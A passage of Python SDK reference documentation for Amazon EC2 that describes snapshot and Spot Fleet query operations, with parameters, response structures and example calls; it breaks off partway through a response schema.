For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The ID of the volume the snapshot is for. + * volume-size - The size of the volume, in GiB. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Snapshots': [ + { + 'DataEncryptionKeyId': 'string', + 'Description': 'string', + 'Encrypted': True|False, + 'KmsKeyId': 'string', + 'OwnerId': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'StartTime': datetime(2015, 1, 1), + 'State': 'pending'|'completed'|'error', + 'StateMessage': 'string', + 'VolumeId': 'string', + 'VolumeSize': 123, + 'OwnerAlias': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Snapshots** _(list) --_ + + Information about the snapshots. + + * _(dict) --_ + + Describes a snapshot. + + * **DataEncryptionKeyId** _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + * **Description** _(string) --_ + + The description for the snapshot. + + * **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + * **OwnerId** _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + * **Progress** _(string) --_ + + The progress of the snapshot, as a percentage. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + * **StartTime** _(datetime) --_ + + The time stamp when the snapshot was initiated. + + * **State** _(string) --_ + + The snapshot state. + + * **StateMessage** _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + * **VolumeId** _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + * **OwnerAlias** _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + * **Tags** _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The NextToken value to include in a future DescribeSnapshots request. When the results of a DescribeSnapshots request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes a snapshot with the snapshot ID of snap-1234567890abcdef0. + +response = client.describe_snapshots( + SnapshotIds=[ + 'snap-1234567890abcdef0', + ], +) + +print(response) + +Expected Output: + +{ + 'NextToken': '', + 'Snapshots': [ + { + 'Description': 'This is my snapshot.', + 'OwnerId': '012345678910', + 'Progress': '100%', + 'SnapshotId': 'snap-1234567890abcdef0', + 'StartTime': datetime(2014, 2, 28, 21, 28, 32, 4, 59, 0), + 'State': 'completed', + 'VolumeId': 'vol-049df61146c4d7901', + 'VolumeSize': 8, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes all snapshots owned by the ID 012345678910 that are in the pending status. + +response = client.describe_snapshots( + Filters=[ + { + 'Name': 'status', + 'Values': [ + 'pending', + ], + }, + ], + OwnerIds=[ + '012345678910', + ], +) + +print(response) + +Expected Output: + +{ + 'NextToken': '', + 'Snapshots': [ + { + 'Description': 'This is my copied snapshot.', + 'OwnerId': '012345678910', + 'Progress': '87%', + 'SnapshotId': 'snap-066877671789bd71b', + 'StartTime': datetime(2014, 2, 28, 21, 37, 27, 4, 59, 0), + 'State': 'pending', + 'VolumeId': 'vol-1234567890abcdef0', + 'VolumeSize': 8, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_spot_datafeed_subscription(kwargs_) + +Describes the data feed for Spot Instances. For more information, see [Spot Instance data feed](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-data-feeds.html) in the _Amazon EC2 User Guide for Linux Instances_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotDatafeedSubscription) + +**Request Syntax** + +response = client.describe_spot_datafeed_subscription( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotDatafeedSubscription': { + 'Bucket': 'string', + 'Fault': { + 'Code': 'string', + 'Message': 'string' + }, + 'OwnerId': 'string', + 'Prefix': 'string', + 'State': 'Active'|'Inactive' + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeSpotDatafeedSubscription. + + * **SpotDatafeedSubscription** _(dict) --_ + + The Spot Instance data feed subscription. + + * **Bucket** _(string) --_ + + The name of the Amazon S3 bucket where the Spot Instance data feed is located. + + * **Fault** _(dict) --_ + + The fault codes for the Spot Instance request, if any. + + * **Code** _(string) --_ + + The reason code for the Spot Instance state change. + + * **Message** _(string) --_ + + The message for the Spot Instance state change. + + * **OwnerId** _(string) --_ + + The AWS account ID of the account. + + * **Prefix** _(string) --_ + + The prefix for the data feed files. + + * **State** _(string) --_ + + The state of the Spot Instance data feed subscription. + + +**Examples** + +This example describes the Spot Instance datafeed subscription for your AWS account. + +response = client.describe_spot_datafeed_subscription( +) + +print(response) + +Expected Output: + +{ + 'SpotDatafeedSubscription': { + 'Bucket': 'my-s3-bucket', + 'OwnerId': '123456789012', + 'Prefix': 'spotdata', + 'State': 'Active', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_spot_fleet_instances(kwargs_) + +Describes the running instances for the specified Spot Fleet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotFleetInstances) + +**Request Syntax** + +response = client.describe_spot_fleet_instances( + DryRun=True|False, + MaxResults=123, + NextToken='string', + SpotFleetRequestId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **SpotFleetRequestId** (_string_) -- + + **[REQUIRED]** + + The ID of the Spot Fleet request. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ActiveInstances': [ + { + 'InstanceId': 'string', + 'InstanceType': 'string', + 'SpotInstanceRequestId': 'string', + 'InstanceHealth': 'healthy'|'unhealthy' + }, + ], + 'NextToken': 'string', + 'SpotFleetRequestId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeSpotFleetInstances. + + * **ActiveInstances** _(list) --_ + + The running instances. This list is refreshed periodically and might be out of date. + + * _(dict) --_ + + Describes a running instance in a Spot Fleet. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + * **InstanceHealth** _(string) --_ + + The health status of the instance. If the status of either the instance status check or the system status check is impaired , the health status of the instance is unhealthy . Otherwise, the health status is healthy . + + * **NextToken** _(string) --_ + + The token required to retrieve the next set of results. This value is null when there are no more results to return. + + * **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + +**Examples** + +This example lists the Spot Instances associated with the specified Spot fleet. + +response = client.describe_spot_fleet_instances( + SpotFleetRequestId='sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', +) + +print(response) + +Expected Output: + +{ + 'ActiveInstances': [ + { + 'InstanceId': 'i-1234567890abcdef0', + 'InstanceType': 'm3.medium', + 'SpotInstanceRequestId': 'sir-08b93456', + }, + ], + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_spot_fleet_request_history(kwargs_) + +Describes the events for the specified Spot Fleet request during the specified time. + +Spot Fleet events are delayed by up to 30 seconds before they can be described. This ensures that you can query by the last evaluated time and not miss a recorded event. Spot Fleet events are available for 48 hours. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotFleetRequestHistory) + +**Request Syntax** + +response = client.describe_spot_fleet_request_history( + DryRun=True|False, + EventType='instanceChange'|'fleetRequestChange'|'error'|'information', + MaxResults=123, + NextToken='string', + SpotFleetRequestId='string', + StartTime=datetime(2015, 1, 1) +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EventType** (_string_) -- The type of events to describe. By default, all events are described. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **SpotFleetRequestId** (_string_) -- + + **[REQUIRED]** + + The ID of the Spot Fleet request. + +* **StartTime** (_datetime_) -- + + **[REQUIRED]** + + The starting date and time for the events, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'HistoryRecords': [ + { + 'EventInformation': { + 'EventDescription': 'string', + 'EventSubType': 'string', + 'InstanceId': 'string' + }, + 'EventType': 'instanceChange'|'fleetRequestChange'|'error'|'information', + 'Timestamp': datetime(2015, 1, 1) + }, + ], + 'LastEvaluatedTime': datetime(2015, 1, 1), + 'NextToken': 'string', + 'SpotFleetRequestId': 'string', + 'StartTime': datetime(2015, 1, 1) +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeSpotFleetRequestHistory. + + * **HistoryRecords** _(list) --_ + + Information about the events in the history of the Spot Fleet request. + + * _(dict) --_ + + Describes an event in the history of the Spot Fleet request. + + * **EventInformation** _(dict) --_ + + Information about the event. + + * **EventDescription** _(string) --_ + + The description of the event. + + * **EventSubType** _(string) --_ + + The event. + + The following are the error events: + + * iamFleetRoleInvalid - The EC2 Fleet or Spot Fleet did not have the required permissions either to launch or terminate an instance. + * spotFleetRequestConfigurationInvalid - The configuration is not valid. For more information, see the description of the event. + * spotInstanceCountLimitExceeded - You've reached the limit on the number of Spot Instances that you can launch. + + The following are the fleetRequestChange events: + + * active - The EC2 Fleet or Spot Fleet request has been validated and Amazon EC2 is attempting to maintain the target number of running Spot Instances. + * cancelled - The EC2 Fleet or Spot Fleet request is canceled and has no running Spot Instances. The EC2 Fleet or Spot Fleet will be deleted two days after its instances were terminated. + * cancelled_running - The EC2 Fleet or Spot Fleet request is canceled and does not launch additional Spot Instances. Existing Spot Instances continue to run until they are interrupted or terminated. + * cancelled_terminating - The EC2 Fleet or Spot Fleet request is canceled and its Spot Instances are terminating. + * expired - The EC2 Fleet or Spot Fleet request has expired. A subsequent event indicates that the instances were terminated, if the request was created with TerminateInstancesWithExpiration set. + * modify_in_progress - A request to modify the EC2 Fleet or Spot Fleet request was accepted and is in progress. + * modify_successful - The EC2 Fleet or Spot Fleet request was modified. + * price_update - The price for a launch configuration was adjusted because it was too high. This change is permanent. + * submitted - The EC2 Fleet or Spot Fleet request is being evaluated and Amazon EC2 is preparing to launch the target number of Spot Instances. + + The following are the instanceChange events: + + * launched - A request was fulfilled and a new instance was launched. + * terminated - An instance was terminated by the user. + + The following are the Information events: + + * launchSpecTemporarilyBlacklisted - The configuration is not valid and several attempts to launch instances have failed. For more information, see the description of the event. + * launchSpecUnusable - The price in a launch specification is not valid because it is below the Spot price or the Spot price is above the On-Demand price. + * fleetProgressHalted - The price in every launch specification is not valid. A launch specification might become valid if the Spot price changes. + * **InstanceId** _(string) --_ + + The ID of the instance. This information is available only for instanceChange events. + + * **EventType** _(string) --_ + + The event type. + + * error - An error with the Spot Fleet request. + * fleetRequestChange - A change in the status or configuration of the Spot Fleet request. + * instanceChange - An instance was launched or terminated. + * Information - An informational event. + * **Timestamp** _(datetime) --_ + + The date and time of the event, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + * **LastEvaluatedTime** _(datetime) --_ + + The last date and time for the events, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). All records up to this time were retrieved. + + If nextToken indicates that there are more results, this value is not present. + + * **NextToken** _(string) --_ + + The token required to retrieve the next set of results. This value is null when there are no more results to return. + + * **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + * **StartTime** _(datetime) --_ + + The starting date and time for the events, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + +**Examples** + +This example returns the history for the specified Spot fleet starting at the specified time. + +response = client.describe_spot_fleet_request_history( + SpotFleetRequestId='sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + StartTime=datetime(2015, 5, 26, 0, 0, 0, 1, 146, 0), +) + +print(response) + +Expected Output: + +{ + 'HistoryRecords': [ + { + 'EventInformation': { + 'EventSubType': 'submitted', + }, + 'EventType': 'fleetRequestChange', + 'Timestamp': datetime(2015, 5, 26, 23, 17, 20, 1, 146, 0), + }, + { + 'EventInformation': { + 'EventSubType': 'active', + }, + 'EventType': 'fleetRequestChange', + 'Timestamp': datetime(2015, 5, 26, 23, 17, 20, 1, 146, 0), + }, + { + 'EventInformation': { + 'EventSubType': 'launched', + 'InstanceId': 'i-1234567890abcdef0', + }, + 'EventType': 'instanceChange', + 'Timestamp': datetime(2015, 5, 26, 23, 21, 21, 1, 146, 0), + }, + { + 'EventInformation': { + 'EventSubType': 'launched', + 'InstanceId': 'i-1234567890abcdef1', + }, + 'EventType': 'instanceChange', + 'Timestamp': datetime(2015, 5, 26, 23, 21, 21, 1, 146, 0), + }, + ], + 'NextToken': 'CpHNsscimcV5oH7bSbub03CI2Qms5+ypNpNm+53MNlR0YcXAkp0xFlfKf91yVxSExmbtma3awYxMFzNA663ZskT0AHtJ6TCb2Z8bQC2EnZgyELbymtWPfpZ1ZbauVg+P+TfGlWxWWB/Vr5dk5d4LfdgA/DRAHUrYgxzrEXAMPLE=', + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'StartTime': datetime(2015, 5, 26, 0, 0, 0, 1, 146, 0), + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_spot_fleet_requests(kwargs_) + +Describes your Spot Fleet requests. + +Spot Fleet requests are deleted 48 hours after they are canceled and their instances are terminated. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotFleetRequests) + +**Request Syntax** + +response = client.describe_spot_fleet_requests( + DryRun=True|False, + MaxResults=123, + NextToken='string', + SpotFleetRequestIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **SpotFleetRequestIds** (_list_) -- + + The IDs of the Spot Fleet requests. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'SpotFleetRequestConfigs': [ + { + 'ActivityStatus': 'error'|'pending_fulfillment'|'pending_termination'|'fulfilled', + 'CreateTime': datetime(2015, 1, 1), + 'SpotFleetRequestConfig': { + 'AllocationStrategy': 'lowestPrice'|'diversified'|'capacityOptimized', + 'OnDemandAllocationStrategy': 'lowestPrice'|'prioritized', + 'SpotMaintenanceStrategies': { + 'CapacityRebalance': { + 'ReplacementStrategy': 'launch' + } + }, + 'ClientToken': 'string', + 'ExcessCapacityTerminationPolicy': 'noTermination'|'default', + 'FulfilledCapacity': 123.0, + 'OnDemandFulfilledCapacity': 123.0, + 'IamFleetRole': 'string', + 'LaunchSpecifications': [ + { + 'SecurityGroups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'AddressingType': 'string', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'UserData': 'string', + 'WeightedCapacity': 123.0, + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ 